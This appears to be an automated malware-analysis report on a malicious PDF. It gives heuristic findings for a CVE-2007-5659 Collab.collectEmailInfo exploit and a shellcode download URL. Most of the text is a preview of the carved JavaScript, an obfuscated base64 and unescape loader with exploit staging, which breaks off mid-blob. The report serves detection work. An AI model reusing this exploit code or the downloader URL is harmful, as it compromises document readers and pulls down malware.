MALICIOUS
258
Risk Score
Malware Insights
MITRE ATT&CK
T1059.001 PowerShell
T1566.001 Spearphishing Attachment
T1204.002 Malicious File
The PDF document contains embedded JavaScript, indicated by the PDF_JAVASCRIPT and PDF_JS heuristics. The embedded JavaScript stream, named 'javascript_obj0009_000.js', is likely responsible for executing malicious code. The 'EXTRACTED_FILE_STATIC_TRIAGE' heuristic further flags this as a suspicious extracted artifact due to its long encoded blob and script obfuscation indicators. The primary attack pattern is the delivery of this malicious script via a PDF attachment, likely intended to be executed by the user.
Machine Learning
- Nyx PDF Classifier malicious score 1.0000
Heuristics 8
-
Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
-
JavaScript action low 3 related findings PDF_JAVASCRIPTPDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
-
PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTERPDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.Matched line in script
chr3 = ((enc3 & 3) << 6) | enc4; output = output + String.fromCharCode(chr1); if (enc3 != 64) { -
PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URLDecoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
-
Embedded JS stream low PDF_JSPDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
-
Generic recovered JavaScript exploit stage high PDF_GENERIC_STAGE_RECOVERYBounded static stage recovery exposed hidden JavaScript through generic transforms such as null-byte collapse, percent decoding, marker replacement, arithmetic character codes, fromCharCode, numeric arrays, numeric-array minus-key decoders, alphabet-index arrays, /Producer half-difference metadata arrays, hex literals, marker-stripped Base64 literals, custom 6-bit XOR table decoders, or repeated-marker hex carriers. This rule is emitted only when the recovered stage contains exploit-like Acrobat JavaScript or shellcode markers.
-
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://tthhllkk.info//getexe.php?spl=pdf_exp Referenced by PDF JavaScript
Extracted artifacts 3
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
javascript_obj0009_000.js |
pdf-javascript-stream | PDF /JS object 9 at offset 0xD6 | 21209 bytes |
SHA-256: ec476283abb49fcffc7d48ee405d02089c67566a1212fdea4fca6d1a44564b89 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 3 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
|
|||
Preview scriptFirst 1,000 lines of the extracted script
var keyXXXStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
function decode64(input) {
var output = "";
var chr1, chr2, chr3;
var enc1, enc2, enc3, enc4;
var i = 0;
input = input.replace(/[^A-Za-z0-9\+\/\=]/g, "");
do {
enc1 = keyXXXStr.indexOf(input.charAt(i++));
enc2 = keyXXXStr.indexOf(input.charAt(i++));
enc3 = keyXXXStr.indexOf(input.charAt(i++));
enc4 = keyXXXStr.indexOf(input.charAt(i++));
chr1 = (enc1 << 2) | (enc2 >> 4);
chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
chr3 = ((enc3 & 3) << 6) | enc4;
output = output + String.fromCharCode(chr1);
if (enc3 != 64) {
output = output + String.fromCharCode(chr2);
}
if (enc4 != 64) {
output = output + String.fromCharCode(chr3);
}
} while (i < input.length);
return output;
}
var aasd = decode64("CiB2YXIgVFlueFhTbzY1aVggPSBuZXcgQXJyYXkoKTsKIHZhciBUakVIdG9idkFIUjsKIHZhciBsYXZlID0gZXZhbDsKICBsYXZlKHVuZXNjYXBlKCIlMjAlMjAlNjYlNzUlNmUlNjMlNzQlNjklNmYlNmUlMjAlNDclMzAlNDElNDQlNDclNzYlNzYlNGYlNjMlNmMlNzAlMjglNzAlMzglNTQlNGUlMzIlNmIlNDYlNmMlNWElNTIlNTMlMmMlMjAlNDMlNGElNjclNDIlNzMlNmMlNjglMzUlNjQlNjglN2ElMjklMjAlMjAlN2IlMjAlMjAlMjAlMjAlNzclNjglNjklNmMlNjUlMjglNzAlMzglNTQlNGUlMzIlNmIlNDYlNmMlNWElNTIlNTMlMmUlNmMlNjUlNmUlNjclNzQlNjglMjAlMmElMjAlMzIlMjAlM2MlMjAlNDMlNGElNjclNDIlNzMlNmMlNjglMzUlNjQlNjglN2ElMjklMjAlMjAlMjAlMjAlN2IlMjAlMjAlMjAlMjAlMjAlMjAlNzAlMzglNTQlNGUlMzIlNmIlNDYlNmMlNWElNTIlNTMlMjAlMmIlM2QlMjAlNzAlMzglNTQlNGUlMzIlNmIlNDYlNmMlNWElNTIlNTMlM2IlMjAlMjAlMjAlMjAlN2QlMjAlMjAlMjAlMjAlNzAlMzglNTQlNGUlMzIlNmIlNDYlNmMlNWElNTIlNTMlMjAlM2QlMjAlNzAlMzglNTQlNGUlMzIlNmIlNDYlNmMlNWElNTIlNTMlMmUlNzMlNzUlNjIlNzMlNzQlNzIlNjklNmUlNjclMjglMzAlMmMlMjAlNDMlNGElNjclNDIlNzMlNmMlNjglMzUlNjQlNjglN2ElMjAlMmYlMjAlMzIlMjklM2IlMjAlMjAlMjAlMjAlNzIlNjUlNzQlNzUlNzIlNmUlMjAlNzAlMzglNTQlNGUlMzIlNmIlNDYlNmMlNWElNTIlNTMlM2IlMjAlMjAlN2QlMjAiKSk7ICBsYXZlKHVuZXNjYXBlKCIlMjAlMjAlMjAlNjYlNzUlNmUlNjMlNzQlNjklNmYlNmUlMjAlNTglNTAlNmYlNGElNDIlNGYlMzMlNmYlNDglMzklNzQlMjglNDclMzYlNjklNGUlNmIlN2ElNDQlNGUlMzclNGIlNmIlMjklMjAlMjAlN2IlMjAlMjAlMjAlMjAlNjklNjYlMjglNDclMzYlNjklNGUlNmIlN2ElNDQlNGUlMzclNGIlNmIlMjAlM2QlM2QlMjAlMzAlMjklMjAlMjAlMjAlMjAlN2IlMjAlMjAlMjAlMjAlMjAlMjAlNzYlNjElNzIlMjAlNDQlNTklNGIlNGQlNzYlNzAlMzglNDElMzglNDklNzglMjAlM2QlMjAlMzAlNzglMzAlNjMlMzAlNjMlMzAlNjMlMzAlNjMlM2IlMjAlMjAlMjAlMjAlMjAlMjAlNzYlNjElNzIlMjAlNDYlNzYlNWElNTAlNjUlNGQlNjglNmIlNGYlNGQlN2ElMjAlM2QlMjAlMjAlNzUlNmUlNjUlNzMlNjMlNjElNzAlNjUlMjglMjIlMjUlNzUlNDMlMzAlMzMlMzMlMjUlNzUlMzglNDIlMzYlMzQlMjUlNzUlMzMlMzAlMzQlMzAlMjUlNzUlMzAlNDMlMzclMzglMjUlNzUlMzQlMzAlMzglNDIlMjUlNzUlMzglNDIlMzAlNDMlMjUlNzUlMzElNDMlMzclMzAlMjUlNzUlMzglNDIlNDElNDQlMjUlNzUlMzAlMzglMzUlMzglMjUlNzUlMzAlMzklNDUlNDIlMjUlNzUlMzQlMzAlMzglNDIlMjUlNzUlMzglNDQlMzMlMzQlMjUlNzUlMzclNDMlMzQlMzAlMjUlNzUlMzUlMzglMzglNDIlMjUlNzUlMzYlNDElMzMlNDMlMjUlNzUlMzUlNDElMzQlMzQlMjUlNzUlNDUlMzIlNDQlMzElMjUlNzUlNDUlMzIlMzIlNDIlMjUlNzUlNDUlNDMlMzglNDIlMjUlNzUlMzQlNDYlNDUlNDIlMjUlNzUlMzUlMzIlMzUlNDElMjUlNzUlNDUlNDElMzglMzMlMjUlNzUlMzglMzklMzUlMzYlMjUlNzUlMzAlMzQlMzUlMzUlMjUlNzUlMzUlMzclMzUlMzYlMjUlNzUlMzclMzMlMzglNDIlMjUlNzUlMzglNDIlMzMlNDMlMjUlNzUlMzMlMzMlMzclMzQlMjUlNzUlMzAlMzMlMzclMzglMjUlNzUlMzUlMzYlNDYlMzMlMjUlNzUlMzclMzYlMzglNDIlMjUlNzUlMzAlMzMlMzIlMzAlMjUlNzUlMzMlMzMlNDYlMzMlMjUlNzUlMzQlMzklNDMlMzklMjUlNzUlMzQlMzElMzUlMzAlMjUlNzUlMzMlMzMlNDElNDQlMjUlNzUlMzMlMzYlNDYlNDYlMjUlNzUlNDIlNDUlMzAlNDYlMjUlNzUlMzAlMzMlMzElMzQlMjUlNzUlNDYlMzIlMzMlMzglMjUlNzUlMzAlMzglMzclMzQlMjUlNzUlNDMlNDYlNDMlMzElMjUlNzUlMzAlMzMlMzAlNDQlMjUlNzUlMzQlMzAlNDYlNDElMjUlNzUlNDUlNDYlNDUlNDIlMjUlNzUlMzMlNDIlMzUlMzglMjUlNzUlMzclMzUlNDYlMzglMjUlNzUlMzUlNDUlNDUlMzUlMjUlNzUlMzQlMzYlMzglNDIlMjUlNzUlMzAlMzMlMzIlMzQlMjUlNzUlMzYlMzYlNDMlMzMlMjUlNzUlMzAlNDMlMzglNDIlMjUlNzUlMzglNDIlMzQlMzglMjUlNzUlMzElNDMlMzUlMzYlMjUlNzUlNDQlMzMlMzAlMzMlMjUlNzUlMzAlMzQlMzglNDIlMjUlNzUlMzAlMzMlMzglNDElMjUlNzUlMzUlNDYlNDMlMzMlMjUlNzUlMzUlMzAlMzUlNDUlMjUlNzUlMzglNDQlNDMlMzMlMjUlNzUlMzAlMzglMzclNDQlMjUlNzUlMzUlMzIlMzUlMzclMjUlNzUlMzMlMzMlNDIlMzglMjUlNzUlMzglNDElNDMlNDElMjUlNzUlNDUlMzglMzUlNDIlMjUlNzUlNDYlNDYlNDElMzIlMjUlNzUlNDYlNDYlNDYlNDYlMjUlNzUlNDMlMzAlMzMlMzIlMjUlNzUlNDYlMzclMzglNDIlMjUlNzUlNDElNDUlNDYlMzIlMjUlNzUlNDIlMzglMzQlNDYlMjUlNzUlMzIlNDUlMzYlMzUlMjUlNzUlMzclMzglMzYlMzUlMjUlNzUlMzYlMzYlNDElNDIlMjUlNzUlMzYlMzYlMzklMzglMjUlNzUlNDIlMzAlNDElNDIlMjUlNzUlMzglNDElMzYlNDMlMjUlNzUlMzklMzglNDUlMzAlMjUlNzUlMzYlMzglMzUlMzAlMjUlNzUlMzYlNDUlMzYlNDYlMjUlNzUlMzYlMzQlMzIlNDUlMjUlNzUlMzclMzUlMzYlMzglMjUlNzUlMzYlNDMlMzclMzIlMjUlNzUlMzUlMzQlMzYlNDQlMjUlNzUlMzglNDUlNDIlMzglMjUlNzUlMzAlNDUlMzQlNDUlMjUlNzUlNDYlNDYlNDUlNDMlMjUlNzUlMzAlMzQlMzUlMzUlMjUlNzUlMzUlMzAlMzklMzMlMjUlNzUlNDMlMzAlMzMlMzMlMjUlNzUlMzUlMzAlMzUlMzAlMjUlNzUlMzglNDIlMzUlMzYlMjUlNzUlMzAlMzQlMzUlMzUlMjUlNzUlNDMlMzIlMzglMzMlMjUlNzUlMzglMzMlMzclNDYlMjUlNzUlMzMlMzElNDMlMzIlMjUlNzUlMzUlMzAlMzUlMzIlMjUlNzUlMzMlMzYlNDIlMzglMjUlNzUlMzIlNDYlMzElNDElMjUlNzUlNDYlNDYlMzclMzAlMjUlNzUlMzAlMzQlMzUlMzUlMjUlNzUlMzMlMzMlMzUlNDIlMjUlNzUlMzUlMzclNDYlNDYlMjUlNzUlNDIlMzglMzUlMzYlMjUlNzUlNDYlNDUlMzklMzglMjUlNzUlMzAlNDUlMzglNDElMjUlNzUlMzUlMzUlNDYlNDYlMjUlNzUlMzUlMzclMzAlMzQlMjUlNzUlNDUlNDYlNDIlMzglMjUlNzUlNDUlMzAlNDMlNDUlMjUlNzUlNDYlNDYlMzYlMzAlMjUlNzUlMzAlMzQlMzUlMzUlMjUlNzUlMzclMzQlMzYlMzglMjUlNzUlMzclMzAlMzclMzQlMjUlNzUlMzIlNDYlMzMlNDElMjUlNzUlMzclMzQlMzIlNDYlMjUlNzUlMzYlMzglMzclMzQlMjUlNzUlMzYlNDMlMzYlMzglMjUlNzUlMzYlNDIlMzYlNDMlMjUlNzUlMzIlNDUlMzYlNDIlMjUlNzUlMzYlNDUlMzYlMzklMjUlNzUlMzYlNDYlMzYlMzYlMjUlNzUlMzIlNDYlMzIlNDYlMjUlNzUlMzYlMzUlMzYlMzclMjUlNzUlMzYlMzUlMzclMzQlMjUlNzUlMzYlMzUlMzclMzglMjUlNzUlMzclMzAlMzIlNDUlMjUlNzUlMzclMzAlMzYlMzglMjUlNzUlMzclMzMlMzMlNDYlMjUlNzUlMzYlNDMlMzclMzAlMjUlNzUlMzclMzAlMzMlNDQlMjUlNzUlMzYlMzYlMzYlMzQlMjUlNzUlMzYlMzUlMzUlNDYlMjUlNzUlMzclMzAlMzclMzglMjIlMjklM2IlMjAlMjAlMjAlMjAlN2QlMjAlMjAlMjAlMjAlNjUlNmMlNzMlNjUlMjAlNjklNjYlMjglNDclMzYlNjklNGUlNmIlN2ElNDQlNGUlMzclNGIlNmIlMjAlM2QlM2QlMjAlMzElMjklMjAlMjAlMjAlMjAlN2IlMjAlMjAlMjAlMjAlMjAlMjAlNDQlNTklNGIlNGQlNzYlNzAlMzglNDElMzglNDklNzglMjAlM2QlMjAlMzAlNzglMzMlMzAlMzMlMzAlMzMlMzAlMzMlMzAlM2IlMjAlMjAlMjAlMjAlMjAlMjAlNzYlNjElNzIlMjAlNDYlNzYlNWElNTAlNjUlNGQlNjglNmIlNGYlNGQlN2ElMjAlM2QlMjAlMjAlNzUlNmUlNjUlNzMlNjMlNjElNzAlNjUlMjglMjIlMjUlNzUlNDMlMzAlMzMlMzMlMjUlNzUlMzglNDIlMzYlMzQlMjUlNzUlMzMlMzAlMzQlMzAlMjUlNzUlMzAlNDMlMzclMzglMjUlNzUlMzQlMzAlMzglNDIlMjUlNzUlMzglNDIlMzAlNDMlMjUlNzUlMzElNDMlMzclMzAlMjUlNzUlMzglNDIlNDElNDQlMjUlNzUlMzAlMzglMzUlMzglMjUlNzUlMzAlMzklNDUlNDIlMjUlNzUlMzQlMzAlMzglNDIlMjUlNzUlMzglNDQlMzMlMzQlMjUlNzUlMzclNDMlMzQlMzAlMjUlNzUlMzUlMzglMzglNDIlMjUlNzUlMzYlNDElMzMlNDMlMjUlNzUlMzUlNDElMzQlMzQlMjUlNzUlNDUlMzIlNDQlMzElMjUlNzUlNDUlMzIlMzIlNDIlMjUlNzUlNDUlNDMlMzglNDIlMjUlNzUlMzQlNDYlNDUlNDIlMjUlNzUlMzUlMzIlMzUlNDElMjUlNzUlNDUlNDElMzglMzMlMjUlNzUlMzglMzklMzUlMzYlMjUlNzUlMzAlMzQlMzUlMzUlMjUlNzUlMzUlMzclMzUlMzYlMjUlNzUlMzclMzMlMzglNDIlMjUlNzUlMzglNDIlMzMlNDMlMjUlNzUlMzMlMzMlMzclMzQlMjUlNzUlMzAlMzMlMzclMzglMjUlNzUlMzUlMzYlNDYlMzMlMjUlNzUlMzclMzYlMzglNDIlMjUlNzUlMzAlMzMlMzIlMzAlMjUlNzUlMzMlMzMlNDYlMzMlMjUlNzUlMzQlMzklNDMlMzklMjUlNzUlMzQlMzElMzUlMzAlMjUlNzUlMzMlMzMlNDElNDQlMjUlNzUlMzMlMzYlNDYlNDYlMjUlNzUlNDIlNDUlMzAlNDYlMjUlNzUlMzAlMzMlMzElMzQlMjUlNzUlNDYlMzIlMzMlMzglMjUlNzUlMzAlMzglMzclMzQlMjUlNzUlNDMlNDYlNDMlMzElMjUlNzUlMzAlMzMlMzAlNDQlMjUlNzUlMzQlMzAlNDYlNDElMjUlNzUlNDUlNDYlNDUlNDIlMjUlNzUlMzMlNDIlMzUlMzglMjUlNzUlMzclMzUlNDYlMzglMjUlNzUlMzUlNDUlNDUlMzUlMjUlNzUlMzQlMzYlMzglNDIlMjUlNzUlMzAlMzMlMzIlMzQlMjUlNzUlMzYlMzYlNDMlMzMlMjUlNzUlMzAlNDMlMzglNDIlMjUlNzUlMzglNDIlMzQlMzglMjUlNzUlMzElNDMlMzUlMzYlMjUlNzUlNDQlMzMlMzAlMzMlMjUlNzUlMzAlMzQlMzglNDIlMjUlNzUlMzAlMzMlMzglNDElMjUlNzUlMzUlNDYlNDMlMzMlMjUlNzUlMzUlMzAlMzUlNDUlMjUlNzUlMzglNDQlNDMlMzMlMjUlNzUlMzAlMzglMzclNDQlMjUlNzUlMzUlMzIlMzUlMzclMjUlNzUlMzMlMzMlNDIlMzglMjUlNzUlMzglNDElNDMlNDElMjUlNzUlNDUlMzglMzUlNDIlMjUlNzUlNDYlNDYlNDElMzIlMjUlNzUlNDYlNDYlNDYlNDYlMjUlNzUlNDMlMzAlMzMlMzIlMjUlNzUlNDYlMzclMzglNDIlMjUlNzUlNDElNDUlNDYlMzIlMjUlNzUlNDIlMzglMzQlNDYlMjUlNzUlMzIlNDUlMzYlMzUlMjUlNzUlMzclMzglMzYlMzUlMjUlNzUlMzYlMzYlNDElNDIlMjUlNzUlMzYlMzYlMzklMzglMjUlNzUlNDIlMzAlNDElNDIlMjUlNzUlMzglNDElMzYlNDMlMjUlNzUlMzklMzglNDUlMzAlMjUlNzUlMzYlMzglMzUlMzAlMjUlNzUlMzYlNDUlMzYlNDYlMjUlNzUlMzYlMzQlMzIlNDUlMjUlNzUlMzclMzUlMzYlMzglMjUlNzUlMzYlNDMlMzclMzIlMjUlNzUlMzUlMzQlMzYlNDQlMjUlNzUlMzglNDUlNDIlMzglMjUlNzUlMzAlNDUlMzQlNDUlMjUlNzUlNDYlNDYlNDUlNDMlMjUlNzUlMzAlMzQlMzUlMzUlMjUlNzUlMzUlMzAlMzklMzMlMjUlNzUlNDMlMzAlMzMlMzMlMjUlNzUlMzUlMzAlMzUlMzAlMjUlNzUlMzglNDIlMzUlMzYlMjUlNzUlMzAlMzQlMzUlMzUlMjUlNzUlNDMlMzIlMzglMzMlMjUlNzUlMzglMzMlMzclNDYlMjUlNzUlMzMlMzElNDMlMzIlMjUlNzUlMzUlMzAlMzUlMzIlMjUlNzUlMzMlMzYlNDIlMzglMjUlNzUlMzIlNDYlMzElNDElMjUlNzUlNDYlNDYlMzclMzAlMjUlNzUlMzAlMzQlMzUlMzUlMjUlNzUlMzMlMzMlMzUlNDIlMjUlNzUlMzUlMzclNDYlNDYlMjUlNzUlNDIlMzglMzUlMzYlMjUlNzUlNDYlNDUlMzklMzglMjUlNzUlMzAlNDUlMzglNDElMjUlNzUlMzUlMzUlNDYlNDYlMjUlNzUlMzUlMzclMzAlMzQlMjUlNzUlNDUlNDYlNDIlMzglMjUlNzUlNDUlMzAlNDMlNDUlMjUlNzUlNDYlNDYlMzYlMzAlMjUlNzUlMzAlMzQlMzUlMzUlMjUlNzUlMzclMzQlMzYlMzglMjUlNzUlMzclMzAlMzclMzQlMjUlNzUlMzIlNDYlMzMlNDElMjUlNzUlMzclMzQlMzIlNDYlMjUlNzUlMzYlMzglMzclMzQlMjUlNzUlMzYlNDMlMzYlMzglMjUlNzUlMzYlNDIlMzYlNDMlMjUlNzUlMzIlNDUlMzYlNDIlMjUlNzUlMzYlNDUlMzYlMzklMjUlNzUlMzYlNDYlMzYlMzYlMjUlNzUlMzIlNDYlMzIlNDYlMjUlNzUlMzYlMzUlMzYlMzclMjUlNzUlMzYlMzUlMzclMzQlMjUlNzUlMzYlMzUlMzclMzglMjUlNzUlMzclMzAlMzIlNDUlMjUlNzUlMzclMzAlMzYlMzglMjUlNzUlMzclMzMlMzMlNDYlMjUlNzUlMzYlNDMlMzclMzAlMjUlNzUlMzclMzAlMzMlNDQlMjUlNzUlMzYlMzYlMzYlMzQlMjUlNzUlMzYlMzUlMzUlNDYlMjUlNzUlMzclMzAlMzclMzglMjIlMjklM2IlMjAlMjAlMjAlMjAlN2QlMjAlMjAlMjAlMjAlNjUlNmMlNzMlNjUlMjAlNjklNjYlMjglNDclMzYlNjklNGUlNmIlN2ElNDQlNGUlMzclNGIlNmIlMjAlM2QlM2QlMjAlMzIlMjklMjAlMjAlMjAlMjAlN2IlMjAlMjAlMjAlMjAlMjAlMjAlNzYlNjElNzIlMjAlNDYlNzYlNWElNTAlNjUlNGQlNjglNmIlNGYlNGQlN2ElMjAlM2QlMjAlMjAlNzUlNmUlNjUlNzMlNjMlNjElNzAlNjUlMjglMjIlMjUlNzUlNDMlMzAlMzMlMzMlMjUlNzUlMzglNDIlMzYlMzQlMjUlNzUlMzMlMzAlMzQlMzAlMjUlNzUlMzAlNDMlMzclMzglMjUlNzUlMzQlMzAlMzglNDIlMjUlNzUlMzglNDIlMzAlNDMlMjUlNzUlMzElNDMlMzclMzAlMjUlNzUlMzglNDIlNDElNDQlMjUlNzUlMzAlMzglMzUlMzglMjUlNzUlMzAlMzklNDUlNDIlMjUlNzUlMzQlMzAlMzglNDIlMjUlNzUlMzglNDQlMzMlMzQlMjUlNzUlMzclNDMlMzQlMzAlMjUlNzUlMzUlMzglMzglNDIlMjUlNzUlMzYlNDElMzMlNDMlMjUlNzUlMzUlNDElMzQlMzQlMjUlNzUlNDUlMzIlNDQlMzElMjUlNzUlNDUlMzIlMzIlNDIlMjUlNzUlNDUlNDMlMzglNDIlMjUlNzUlMzQlNDYlNDUlNDIlMjUlNzUlMzUlMzIlMzUlNDElMjUlNzUlNDUlNDElMzglMzMlMjUlNzUlMzglMzklMzUlMzYlMjUlNzUlMzAlMzQlMzUlMzUlMjUlNzUlMzUlMzclMzUlMzYlMjUlNzUlMzclMzMlMzglNDIlMjUlNzUlMzglNDIlMzMlNDMlMjUlNzUlMzMlMzMlMzclMzQlMjUlNzUlMzAlMzMlMzclMzglMjUlNzUlMzUlMzYlNDYlMzMlMjUlNzUlMzclMzYlMzglNDIlMjUlNzUlMzAlMzMlMzIlMzAlMjUlNzUlMzMlMzMlNDYlMzMlMjUlNzUlMzQlMzklNDMlMzklMjUlNzUlMzQlMzElMzUlMzAlMjUlNzUlMzMlMzMlNDElNDQlMjUlNzUlMzMlMzYlNDYlNDYlMjUlNzUlNDIlNDUlMzAlNDYlMjUlNzUlMzAlMzMlMzElMzQlMjUlNzUlNDYlMzIlMzMlMzglMjUlNzUlMzAlMzglMzclMzQlMjUlNzUlNDMlNDYlNDMlMzElMjUlNzUlMzAlMzMlMzAlNDQlMjUlNzUlMzQlMzAlNDYlNDElMjUlNzUlNDUlNDYlNDUlNDIlMjUlNzUlMzMlNDIlMzUlMzglMjUlNzUlMzclMzUlNDYlMzglMjUlNzUlMzUlNDUlNDUlMzUlMjUlNzUlMzQlMzYlMzglNDIlMjUlNzUlMzAlMzMlMzIlMzQlMjUlNzUlMzYlMzYlNDMlMzMlMjUlNzUlMzAlNDMlMzglNDIlMjUlNzUlMzglNDIlMzQlMzglMjUlNzUlMzElNDMlMzUlMzYlMjUlNzUlNDQlMzMlMzAlMzMlMjUlNzUlMzAlMzQlMzglNDIlMjUlNzUlMzAlMzMlMzglNDElMjUlNzUlMzUlNDYlNDMlMzMlMjUlNzUlMzUlMzAlMzUlNDUlMjUlNzUlMzglNDQlNDMlMzMlMjUlNzUlMzAlMzglMzclNDQlMjUlNzUlMzUlMzIlMzUlMzclMjUlNzUlMzMlMzMlNDIlMzglMjUlNzUlMzglNDElNDMlNDElMjUlNzUlNDUlMzglMzUlNDIlMjUlNzUlNDYlNDYlNDElMzIlMjUlNzUlNDYlNDYlNDYlNDYlMjUlNzUlNDMlMzAlMzMlMzIlMjUlNzUlNDYlMzclMzglNDIlMjUlNzUlNDElNDUlNDYlMzIlMjUlNzUlNDIlMzglMzQlNDYlMjUlNzUlMzIlNDUlMzYlMzUlMjUlNzUlMzclMzglMzYlMzUlMjUlNzUlMzYlMzYlNDElNDIlMjUlNzUlMzYlMzYlMzklMzglMjUlNzUlNDIlMzAlNDElNDIlMjUlNzUlMzglNDElMzYlNDMlMjUlNzUlMzklMzglNDUlMzAlMjUlNzUlMzYlMzglMzUlMzAlMjUlNzUlMzYlNDUlMzYlNDYlMjUlNzUlMzYlMzQlMzIlNDUlMjUlNzUlMzclMzUlMzYlMzglMjUlNzUlMzYlNDMlMzclMzIlMjUlNzUlMzUlMzQlMzYlNDQlMjUlNzUlMzglNDUlNDIlMzglMjUlNzUlMzAlNDUlMzQlNDUlMjUlNzUlNDYlNDYlNDUlNDMlMjUlNzUlMzAlMzQlMzUlMzUlMjUlNzUlMzUlMzAlMzklMzMlMjUlNzUlNDMlMzAlMzMlMzMlMjUlNzUlMzUlMzAlMzUlMzAlMjUlNzUlMzglNDIlMzUlMzYlMjUlNzUlMzAlMzQlMzUlMzUlMjUlNzUlNDMlMzIlMzglMzMlMjUlNzUlMzglMzMlMzclNDYlMjUlNzUlMzMlMzElNDMlMzIlMjUlNzUlMzUlMzAlMzUlMzIlMjUlNzUlMzMlMzYlNDIlMzglMjUlNzUlMzIlNDYlMzElNDElMjUlNzUlNDYlNDYlMzclMzAlMjUlNzUlMzAlMzQlMzUlMzUlMjUlNzUlMzMlMzMlMzUlNDIlMjUlNzUlMzUlMzclNDYlNDYlMjUlNzUlNDIlMzglMzUlMzYlMjUlNzUlNDYlNDUlMzklMzglMjUlNzUlMzAlNDUlMzglNDElMjUlNzUlMzUlMzUlNDYlNDYlMjUlNzUlMzUlMzclMzAlMzQlMjUlNzUlNDUlNDYlNDIlMzglMjUlNzUlNDUlMzAlNDMlNDUlMjUlNzUlNDYlNDYlMzYlMzAlMjUlNzUlMzAlMzQlMzUlMzUlMjUlNzUlMzclMzQlMzYlMzglMjUlNzUlMzclMzAlMzclMzQlMjUlNzUlMzIlNDYlMzMlNDElMjUlNzUlMzclMzQlMzIlNDYlMjUlNzUlMzYlMzglMzclMzQlMjUlNzUlMzYlNDMlMzYlMzglMjUlNzUlMzYlNDIlMzYlNDMlMjUlNzUlMzIlNDUlMzYlNDIlMjUlNzUlMzYlNDUlMzYlMzklMjUlNzUlMzYlNDYlMzYlMzYlMjUlNzUlMzIlNDYlMzIlNDYlMjUlNzUlMzYlMzUlMzYlMzclMjUlNzUlMzYlMzUlMzclMzQlMjUlNzUlMzYlMzUlMzclMzglMjUlNzUlMzclMzAlMzIlNDUlMjUlNzUlMzclMzAlMzYlMzglMjUlNzUlMzclMzMlMzMlNDYlMjUlNzUlMzYlNDMlMzclMzAlMjUlNzUlMzclMzAlMzMlNDQlMjUlNzUlMzYlMzYlMzYlMzQlMjUlNzUlMzYlMzUlMzUlNDYlMjUlNzUlMzclMzAlMzclMzglMjIlMjklM2IlMjAlMjAlMjAlMjAlN2QlMjAlMjAlMjAlMjAlNzYlNjElNzIlMjAlNTYlNGElNjYlMzclMzYlNmYlNzUlNmMlNTIlNzYlNTQlMjAlM2QlMjAlMzAlNzglMzQlMzAlMzAlMzAlMzAlMzAlM2IlMjAlMjAlMjAlMjAlNzYlNjElNzIlMjAlNTYlNGYlNmMlNjIlNmMlNGIlNDglMzklNmUlNTglNDElMjAlM2QlMjAlNDYlNzYlNWElNTAlNjUlNGQlNjglNmIlNGYlNGQlN2ElMmUlNmMlNjUlNmUlNjclNzQlNjglMjAlMmElMjAlMzIlM2IlMjAlMjAlMjAlMjAlNzYlNjElNzIlMjAlNDMlNGElNjclNDIlNzMlNmMlNjglMzUlNjQlNjglN2ElMjAlM2QlMjAlNTYlNGElNjYlMzclMzYlNmYlNzUlNmMlNTIlNzYlNTQlMjAlMmQlMjAlMjglNTYlNGYlNmMlNjIlNmMlNGIlNDglMzklNmUlNTglNDElMjAlMmIlMjAlMzAlNzglMzMlMzglMjklM2IlMjAlMjAlMjAlMjAlNzYlNjElNzIlMjAlNzAlMzglNTQlNGUlMzIlNmIlNDYlNmMlNWElNTIlNTMlMjAlM2QlMjAlNzUlNmUlNjUlNzMlNjMlNjElNzAlNjUlMjglMjIlMjUlNzUlMzklMzAlMzklMzAlMjUlNzUlMzklMzAlMzklMzAlMjIlMjklM2IlMjAlMjAlMjAlMjAlNzAlMzglNTQlNGUlMzIlNmIlNDYlNmMlNWElNTIlNTMlMjAlM2QlMjAlNDclMzAlNDElNDQlNDclNzYlNzYlNGYlNjMlNmMlNzAlMjglNzAlMzglNTQlNGUlMzIlNmIlNDYlNmMlNWElNTIlNTMlMmMlMjAlNDMlNGElNjclNDIlNzMlNmMlNjglMzUlNjQlNjglN2ElMjklM2IlMjAlMjAlMjAlMjAlNzYlNjElNzIlMjAlNGMlMzQlNGUlNzAlNzQlNzAlNGUlNjIlNTAlNGYlNDMlMjAlM2QlMjAlMjglNDQlNTklNGIlNGQlNzYlNzAlMzglNDElMzglNDklNzglMjAlMmQlMjAlMzAlNzglMzQlMzAlMzAlMzAlMzAlMzAlMjklMjAlMmYlMjAlNTYlNGElNjYlMzclMzYlNmYlNzUlNmMlNTIlNzYlNTQlM2IlMjAlMjAlMjAlMjAlNjYlNmYlNzIlMjglNzYlNjElNzIlMjAlNzAlNGIlNzIlMzclNmElNTQlNzMlNmElNGMlNjMlNjMlMjAlM2QlMjAlMzAlM2IlMjAlNzAlNGIlNzIlMzclNmElNTQlNzMlNmElNGMlNjMlNjMlM